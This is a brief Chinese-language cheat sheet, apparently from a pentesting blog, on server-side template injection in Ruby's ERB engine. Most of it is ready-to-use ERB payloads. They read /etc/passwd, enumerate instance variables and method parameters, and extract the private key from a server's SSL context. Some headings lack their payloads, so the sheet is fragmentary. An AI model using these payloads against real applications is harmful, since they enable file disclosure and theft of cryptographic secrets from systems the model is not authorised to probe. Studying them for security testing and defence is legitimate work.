ERB代表嵌入式Ruby,用于在模板中插入Ruby变量,例如HTML和YAML。 ERB是一个Ruby类,它接受文本,并评估和替换ERB标记包围的Ruby代码。
模板格式
查看文件
正常情况
1
| <%= File.open('/etc/passwd').read %>
|
报错原因
Ruby的ERB模板引擎包含一个安全级别(safe level)参数,当安全级别设置为0以上的某个值(比如3)时,我们无法在模板绑定(template binding)中执行包括文件操作在内的某些函数。如果应用使用的安全级别为4,那么它会使用最为严格的隔离机制,只能执行标记为可信状态的那些代码。
获取self对象的类名
枚举类的可用方法
获取函数所需的具体参数
1
| <%= self.method(:handle_POST).parameters %>
|
获取某些对象的具体含义
1
| <%= session.class.name %>
|
查看是否可访问的变量
1
| <%= self.instance_variables %>
|
查看对象包含的成员变量
提取变量值
1
| <% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %>
|